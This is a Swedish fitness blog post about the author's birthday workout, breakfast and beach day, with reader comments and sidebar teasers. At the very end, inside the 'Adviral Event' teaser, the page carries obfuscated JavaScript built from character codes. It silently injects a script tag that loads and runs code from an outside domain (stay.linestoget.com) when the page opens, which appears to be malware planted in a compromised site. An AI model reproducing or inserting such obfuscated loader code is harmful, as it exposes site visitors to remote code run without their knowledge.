Träning! Burpees! Frulle & beach! Bra start på födelsedagen ;)

image

 

Godmorgon i Sverige! Här nere är klockan lunch. Vi har hunnit att säga hej då till Marcello, som åkte hem imorse. Vi har hunnit träna ett riktigt gris pass! 

image

 

Idag är ingen vanlig dag, idag är det min födelsedag! 🙂 jag trodde det skulle firas och att jag skulle få dela ut burpees, Nix! Jag fick ställa mig i mitten och GÖRA burpees! -Hahaha!

image

 

Frulle på favvo stället The Shack! <3 Proteinbowl!

image

 

nu relaxing, på beachen… Innan nästa pass 😉

-önskar dig en fin dag! <3 

image

 

puss & Kram! /My Martens

15 Komentarer

  1. Grattis fina My på din dag. Hoppas du får en jättebra dag full av träning, bra väder, härlig kost och massa härliga människor runt omkring dig som kan ge dig ett stort leende på läpparna hela dagen lång. Du förtjänar det bästa och jag önskar dig allt gott i livet.
    Stor kram och grattis.
    Ps. Magen har ju läkt kanonbra och ser jättefin ut!

  2. Grattis fina My på din dag. Hoppas du får en jättebra dag full av träning, bra väder, härlig kost och massa härliga människor runt omkring dig som kan ge dig ett stort leende på läpparna hela dagen lång. Du förtjänar det bästa och jag önskar dig allt gott i livet.

    Stor kram och grattis.

    Ps. Magen har ju läkt kanonbra och ser jättefin ut!

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/